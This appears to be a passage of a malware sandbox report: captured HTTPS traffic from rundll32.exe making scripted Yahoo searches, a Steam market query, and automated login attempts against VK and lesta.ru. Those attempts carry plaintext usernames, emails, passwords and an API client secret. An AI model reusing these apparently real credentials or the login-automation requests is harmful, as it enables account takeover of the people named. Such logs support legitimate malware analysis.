2023-12-10 16:51:17 UTC	10296	IN	Data Raw: 6f 6f 22 20 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 23 61 6c 67 6f 2d 62 64 20 6f 6c 2e 72 65 67 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 7d 2e 70 72 65 6c 64 2e 69 63 6f 2c 20 2e 64 64 2d 6f 76 65 72 6c 61 79 20 2e 69 63 6f 2c 20 2e 64 64 20 2e 69 63 6f 2c 20 2e 69 63 6f 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 63 6f 73 6d 6f 73 5f 73 70 72 69 74 65 31 78 2d 31 36 35 35 33 31 33 36 33 35 33 39 31 2e 6d 69 6e 2e 70 6e 67 22 29 3b 7d 20 40 6d 65 64 69 61 20 20 20 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 Data Ascii: oo" ><style type="text/css">#algo-bd ol.reg{margin:0;padding:0;list-style-type:none}.preld.ico, .dd-overlay .ico, .dd .ico, .ico { background-image: url("https://s.yimg.com/pv/static/img/cosmos_sprite1x-1655313635391.min.png");} @media only screen and
2023-12-10 16:51:17 UTC	16384	IN	Data Raw: 73 3a 6e 6f 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 68 65 69 67 68 74 3a 39 31 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 33 70 78 20 30 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 25 20 2d 20 34 38 2e 35 70 78 29 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 77 69 64 74 68 3a 35 35 30 70 78 3b 68 65 69 67 68 74 3a 39 37 70 78 7d 2e 73 32 74 62 2d 68 20 2e 74 65 78 74 2d 63 Data Ascii: s:none;position:absolute;transform:scale(1)}.text-container{float:left;height:91px;overflow:hidden;margin:3px 0;pointer-events:none;width:calc(50% - 48.5px)}.text-container p{display:table-cell;vertical-align:middle;width:550px;height:97px}.s2tb-h .text-c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50108	87.240.139.193	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:18 UTC	622	OUT	GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=63F20983-DBF6-H9H0-1C69-D1E0-H3FFD14I718I&external_device_id=0IDF3EBI-6GD4-4430-6A1B-7HGE-IIIEH39906CB&grant_type=password&idfa=0DAHHCAE-GA5B-9840-85E3-0G2G-46455BCI2728&idfv=GAH47DC4-DDI5-HD18-5E08-C8DB-D8827089GF60&libverify_support=1&password=marina#7-&sak_version=1.60&scope=all&username=79186797085&v=5.131&captcha_sid=743468411181&captcha_key=zv5hpkv HTTP/1.1 Host: api.vk.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; Windows NT 10.0; x64) Gecko/20100101 Firefox/68.8 Accept: /
2023-12-10 16:51:18 UTC	652	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 0d 0a 53 65 72 76 65 72 3a 20 6b 69 74 74 65 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 31 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 4b 50 48 50 2f 37 2e 34 2e 31 31 35 32 37 36 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 72 65 6d 69 78 69 72 3d 44 45 4c 45 54 45 44 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 Data Ascii: HTTP/1.1 401 UnauthorizedServer: kittenxDate: Sun, 10 Dec 2023 16:51:18 GMTContent-Type: application/json; charset=utf-8Content-Length: 312Connection: closeX-Powered-By: KPHP/7.4.115276Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00
2023-12-10 16:51:18 UTC	312	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 6e 65 65 64 5f 63 61 70 74 63 68 61 22 2c 22 63 61 70 74 63 68 61 5f 73 69 64 22 3a 22 31 39 30 34 31 32 34 34 33 33 33 32 22 2c 22 69 73 5f 72 65 66 72 65 73 68 5f 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 63 61 70 74 63 68 61 5f 69 6d 67 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 76 6b 2e 63 6f 6d 5c 2f 63 61 70 74 63 68 61 2e 70 68 70 3f 73 69 64 3d 31 39 30 34 31 32 34 34 33 33 33 32 26 73 6f 75 72 63 65 3d 61 70 69 2d 6f 61 75 74 68 26 61 70 70 5f 69 64 3d 33 31 34 30 36 32 33 26 64 65 76 69 63 65 5f 69 64 3d 36 33 46 32 30 39 38 33 2d 44 42 46 36 2d 48 39 48 30 2d 31 43 36 39 2d 44 31 45 30 2d 48 33 46 46 44 31 34 49 37 31 38 49 26 72 65 73 69 7a 65 64 3d 31 22 2c 22 63 61 70 74 63 68 61 5f 74 73 22 3a 31 37 30 32 32 32 Data Ascii: {"error":"need_captcha","captcha_sid":"190412443332","is_refresh_enabled":true,"captcha_img":"https:\/\/vk.com\/captcha.php?sid=190412443332&source=api-oauth&app_id=3140623&device_id=63F20983-DBF6-H9H0-1C69-D1E0-H3FFD14I718I&resized=1","captcha_ts":170222

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50119	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:24 UTC	975	OUT	GET /search;_ylt=AwrNOauC7HVlBTkrKrZLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=36&pz=7&pstart=9 HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227074&ltv_c=5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:24 UTC	2068	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 32 34 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:24 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:24 UTC	4826	IN	Data Raw: 31 38 61 37 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 Data Ascii: 18a78<!doctype html><html id="atomic" class="NoJs" lang="en-GB"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yi
2023-12-10 16:51:25 UTC	7736	IN	Data Raw: 6e 74 72 69 65 73 42 79 54 79 70 65 3b 72 65 74 75 72 6e 21 21 6f 7c 7c 28 65 26 26 65 2e 74 69 6d 69 6e 67 3f 30 3c 65 2e 74 69 6d 69 6e 67 2e 6c 6f 61 64 45 76 65 6e 74 45 6e 64 3a 21 74 7c 7c 30 3c 28 74 3d 74 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 29 2e 6c 65 6e 67 74 68 26 26 30 3c 74 5b 30 5d 2e 6c 6f 61 64 45 76 65 6e 74 45 6e 64 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 7d 7d 72 2e 59 41 48 4f 4f 3d 72 2e 59 41 48 4f 4f 7c 7c 7b 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 2c 6e 29 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 Data Ascii: ntriesByType;return!!o\|\|(e&&e.timing?0<e.timing.loadEventEnd:!t\|\|0<(t=t("navigation")).length&&0<t[0].loadEventEnd)}function e(){this.config={}}r.YAHOO=r.YAHOO\|\|{},e.prototype={set:function(e,t,n){e.setAttribute(t,n)},get:function(e,t){return e.getAttribu
2023-12-10 16:51:25 UTC	1448	IN	Data Raw: 22 61 66 74 65 72 5f 68 69 64 65 5f 76 69 65 77 22 2c 78 3d 22 61 66 74 65 72 5f 65 78 70 61 6e 64 65 64 22 2c 52 3d 22 61 66 74 65 72 5f 69 6e 69 74 5f 63 6f 6e 74 72 6f 6c 6c 65 72 22 2c 41 3d 22 63 6c 69 63 6b 5f 61 73 73 69 73 74 22 2c 4e 3d 22 62 65 66 6f 72 65 5f 71 75 65 72 79 5f 61 73 73 69 73 74 22 2c 4c 3d 22 62 65 66 6f 72 65 5f 6b 65 79 5f 73 75 62 6d 69 74 22 2c 50 3d 22 62 65 66 6f 72 65 5f 62 75 74 74 6f 6e 5f 73 75 62 6d 69 74 22 2c 46 3d 22 62 65 66 6f 72 65 5f 73 75 62 6d 69 74 5f 71 75 65 72 79 22 2c 4f 3d 22 62 65 66 6f 72 65 5f 73 62 5f 66 6f 63 75 73 22 2c 48 3d 22 61 66 74 65 72 5f 73 62 5f 66 6f 63 75 73 22 2c 42 3d 22 62 65 66 6f 72 65 5f 73 62 5f 62 6c 75 72 22 2c 4d 3d 22 61 66 74 65 72 5f 73 62 5f 62 6c 75 72 22 2c 76 3d 22 62 Data Ascii: "after_hide_view",x="after_expanded",R="after_init_controller",A="click_assist",N="before_query_assist",L="before_key_submit",P="before_button_submit",F="before_submit_query",O="before_sb_focus",H="after_sb_focus",B="before_sb_blur",M="after_sb_blur",v="b
2023-12-10 16:51:25 UTC	16384	IN	Data Raw: 72 65 76 46 72 32 3b 74 26 26 28 65 2e 66 72 32 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 66 72 32 2c 69 3d 74 68 69 73 2e 63 6f 6e 66 69 67 3b 74 2e 76 61 6c 75 65 3d 69 2e 66 72 32 7c 7c 22 73 61 2d 67 70 22 2c 6e 65 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 65 28 65 29 7b 76 61 72 20 74 2c 69 2c 73 3d 74 68 69 73 2e 66 72 32 2c 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 61 3d 74 68 69 73 2e 61 70 70 2e 76 69 65 77 2e 61 73 73 69 73 74 49 74 65 6d 3b 61 26 26 28 69 3d 28 61 3d 61 2e 64 61 74 61 29 2e 6d 2c 74 3d 28 74 3d 61 2e 64 29 26 26 74 2e 64 6e 3f 74 2e 64 6e 3a 22 22 2c 22 22 3d 3d 61 2e 71 26 26 69 3d 3d 4b 26 26 6e 2e 74 6e 46 72 32 3f 28 61 3d 61 2e 66 64 2c 73 2e 76 Data Ascii: revFr2;t&&(e.fr2=t)}function se(e){var t=this.fr2,i=this.config;t.value=i.fr2\|\|"sa-gp",ne.call(this,e)}function ne(e){var t,i,s=this.fr2,n=this.config,a=this.app.view.assistItem;a&&(i=(a=a.data).m,t=(t=a.d)&&t.dn?t.dn:"",""==a.q&&i==K&&n.tnFr2?(a=a.fd,s.v
2023-12-10 16:51:25 UTC	6784	IN	Data Raw: 6e 66 69 67 2c 73 3d 74 2e 69 64 78 2c 6e 3d 74 2e 6d 2c 74 3d 74 2e 66 64 3b 69 2e 65 6e 61 62 6c 65 64 26 26 35 34 3d 3d 3d 6e 26 26 30 3d 3d 3d 73 26 26 74 26 26 65 2e 6c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 73 61 2d 75 6e 69 74 63 6f 6e 76 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 74 69 74 6c 65 54 70 6c 3a 22 7b 30 7d 20 7b 31 7d 22 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 69 3d 65 2e 72 2c 73 3d 69 2e 6c 65 6e 67 74 68 2c 6e 3d 22 22 3d 3d 3d 65 2e 71 26 26 30 3c 73 2c 65 3d 69 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 37 32 3d 3d 3d 65 2e 6d 7c 7c 65 2e 6d 3d 3d 3d 59 7c 7c 6e 7d 29 3b 74 68 Data Ascii: nfig,s=t.idx,n=t.m,t=t.fd;i.enabled&&54===n&&0===s&&t&&e.li.classList.add("sa-unitconv")}function lt(){this.config={titleTpl:"{0} {1}"}}function ct(e){var t=this.config,i=e.r,s=i.length,n=""===e.q&&0<s,e=i.some(function(e){return 72===e.m\|\|e.m===Y\|\|n});th
2023-12-10 16:51:25 UTC	416	IN	Data Raw: 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 63 73 73 3a 22 68 69 67 68 6c 69 67 68 74 22 2c 75 73 65 44 65 66 61 75 6c 74 54 61 62 3a 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 4c 74 28 29 7b 76 61 72 20 69 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 61 70 70 2e 76 69 65 77 3b 53 2e 61 65 28 77 2c 22 6b 65 79 64 6f 77 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 77 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3b 74 26 26 74 2e 74 61 67 4e 61 6d 65 26 26 28 22 69 6e 70 75 74 22 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7c 7c 22 74 65 78 74 61 72 65 61 22 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7c 7c 28 74 3d 73 2e 65 6c 65 6d 73 2e 73 62 49 6e 70 75 74 2c 32 37 3d 3d 3d 65 2e Data Ascii: {this.config={css:"highlight",useDefaultTab:!1}}function Lt(){var i=this,s=this.app.view;S.ae(w,"keydown",function(e){var t=w.activeElement;t&&t.tagName&&("input"===t.tagName.toLowerCase()\|\|"textarea"===t.tagName.toLowerCase())\|\|(t=s.elems.sbInput,27===e.
2023-12-10 16:51:25 UTC	3928	IN	Data Raw: 65 3d 53 2e 74 72 69 6d 28 74 2e 76 61 6c 75 65 29 2c 22 22 21 3d 3d 74 2e 76 61 6c 75 65 26 26 28 74 2e 76 61 6c 75 65 2b 3d 22 20 22 29 29 2c 53 2e 73 65 74 46 6f 63 75 73 28 74 29 29 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 50 74 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 46 74 28 65 2c 74 2c 69 29 7b 76 61 72 20 73 2c 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 61 3d 6e 2e 6c 6f 67 2c 6f 3d 74 68 69 73 2e 61 70 70 2c 72 3d 6f 2e 76 69 65 77 2e 65 6c 65 6d 73 2e 73 62 49 6e 70 75 74 2c 6c 3d 69 2e 6c 69 2c 63 3d 69 2e 69 64 78 3b 74 3d 3d 3d 69 2e 65 64 69 74 26 26 69 2e 64 61 74 61 2e 6d 3d 3d 47 26 26 28 74 3d 7b 71 75 65 72 79 3a 69 2e 64 61 74 61 2e 6b 2c 61 63 74 69 6f 6e 3a 22 64 65 6c 22 2c 73 61 3a 31 7d 2c 69 3d 6f 2e 63 6f 6e 66 69 67 2e 73 68 42 45 Data Ascii: e=S.trim(t.value),""!==t.value&&(t.value+=" ")),S.setFocus(t)))})}function Pt(){}function Ft(e,t,i){var s,n=this.config,a=n.log,o=this.app,r=o.view.elems.sbInput,l=i.li,c=i.idx;t===i.edit&&i.data.m==G&&(t={query:i.data.k,action:"del",sa:1},i=o.config.shBE
2023-12-10 16:51:25 UTC	16384	IN	Data Raw: 45 46 4f 52 45 5f 47 45 54 5f 41 53 53 49 53 54 3a 6c 2c 42 45 46 4f 52 45 5f 44 49 53 50 4c 41 59 5f 44 41 54 41 3a 69 2c 42 45 46 4f 52 45 5f 49 4e 49 54 5f 56 49 45 57 3a 68 2c 41 46 54 45 52 5f 49 4e 49 54 5f 56 49 45 57 3a 75 2c 42 45 46 4f 52 45 5f 50 41 52 53 45 5f 44 41 54 41 3a 54 2c 42 45 46 4f 52 45 5f 55 50 44 41 54 45 5f 41 53 53 49 53 54 3a 6b 2c 41 46 54 45 52 5f 55 50 44 41 54 45 5f 4c 49 53 54 3a 49 2c 41 46 54 45 52 5f 43 52 45 41 54 45 5f 49 54 45 4d 3a 66 2c 42 45 46 4f 52 45 5f 53 48 4f 57 5f 53 41 3a 61 2c 41 46 54 45 52 5f 52 45 53 45 54 5f 56 49 45 57 3a 6f 2c 42 45 46 4f 52 45 5f 48 49 44 45 5f 56 49 45 57 3a 6d 2c 41 46 54 45 52 5f 48 49 44 45 5f 56 49 45 57 3a 67 2c 41 46 54 45 52 5f 45 58 50 41 4e 44 45 44 3a 78 2c 41 46 54 45 Data Ascii: EFORE_GET_ASSIST:l,BEFORE_DISPLAY_DATA:i,BEFORE_INIT_VIEW:h,AFTER_INIT_VIEW:u,BEFORE_PARSE_DATA:T,BEFORE_UPDATE_ASSIST:k,AFTER_UPDATE_LIST:I,AFTER_CREATE_ITEM:f,BEFORE_SHOW_SA:a,AFTER_RESET_VIEW:o,BEFORE_HIDE_VIEW:m,AFTER_HIDE_VIEW:g,AFTER_EXPANDED:x,AFTE
2023-12-10 16:51:25 UTC	3888	IN	Data Raw: 68 69 73 2e 63 6f 6e 66 69 67 2e 63 73 73 2e 6e 61 6d 65 73 70 61 63 65 2c 74 3d 74 68 69 73 2c 69 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 63 73 73 3a 65 2b 22 2d 63 74 2d 74 68 61 6e 6b 22 7d 29 2c 73 3d 28 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 63 73 73 3a 65 2b 22 2d 63 74 2d 74 69 74 6c 65 22 2c 74 65 78 74 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 78 74 2e 74 68 61 6e 6b 7d 29 29 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 65 78 74 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 78 74 2e 69 6d 70 72 6f 76 65 7d 29 29 2c 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 63 73 73 3a 65 2b 22 2d 63 74 2d 62 74 6e 22 7d 29 29 2c 6e Data Ascii: his.config.css.namespace,t=this,i=this.createElem({css:e+"-ct-thank"}),s=(i.appendChild(this.createElem({css:e+"-ct-title",text:this.config.text.thank})),i.appendChild(this.createElem({text:this.config.text.improve})),this.createElem({css:e+"-ct-btn"})),n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50115	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:24 UTC	744	OUT	POST /id/signin/process/?type=captcha HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive Cookie: wgni_language=ru; wgni_csrftoken=Rs3X95lgJt36BtbciI4aird77EsJdGROSdGRtHjHqSPjuBlhhqdWhoUuSXnRMsu4; wgni_sessionid=6bxu37zw6u7ezwgs740t86ccbpxwbv3b User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2705.45 Safari/537.36 Content-Length: 115 Content-Type: application/x-www-form-urlencoded accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://lesta.ru/id/signin/ x-csrftoken: Rs3X95lgJt36BtbciI4aird77EsJdGROSdGRtHjHqSPjuBlhhqdWhoUuSXnRMsu4 x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:51:24 UTC	115	OUT	Data Raw: 6c 6f 67 69 6e 3d 6e 6b 74 72 61 64 65 31 2d 32 30 30 39 35 40 67 6d 61 69 6c 2e 63 6f 6d 26 70 61 73 73 77 6f 72 64 3d 7a 7a 36 37 36 37 36 37 26 63 61 70 74 63 68 61 3d 39 37 32 38 38 39 33 26 6e 65 78 74 3d 25 32 46 69 64 25 32 46 73 73 6f 25 32 46 73 69 67 6e 69 6e 25 32 46 6e 6f 74 69 66 79 25 32 46 25 33 46 6e 65 78 74 25 33 44 25 32 46 Data Ascii: login=nktrade1-20095@gmail.com&password=zz676767&captcha=9728893&next=%2Fid%2Fsso%2Fsignin%2Fnotify%2F%3Fnext%3D%2F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50124	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:27 UTC	656	OUT	GET /search?p=it+change+management+course&fr=sfp&fr2=&iscqry=&vc= HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:27 UTC	737	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 32 37 20 47 4d 54 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 31 35 35 35 32 30 30 30 0d 0a 53 65 72 76 65 72 3a 20 41 54 53 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 Data Ascii: HTTP/1.1 307 Temporary RedirectDate: Sun, 10 Dec 2023 16:51:27 GMTConnection: closeStrict-Transport-Security: max-age=15552000Server: ATSCache-Control: no-storeContent-Type: text/html; charset=utf-8Content-Language: enExpect-CT: max-age=31

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50129	23.61.62.118	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:27 UTC	748	OUT	GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=tag_weapon_deagle&category_730_Weapon[]=tag_weapon_ak47&category_730_Weapon[]=tag_weapon_m4a1&category_730_Weapon[]=tag_weapon_awp&category_730_Weapon[]=tag_weapon_usp_silencer&category_730_Rarity[]=tag_Rarity_Mythical_Weapon HTTP/1.1 Host: steamcommunity.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: 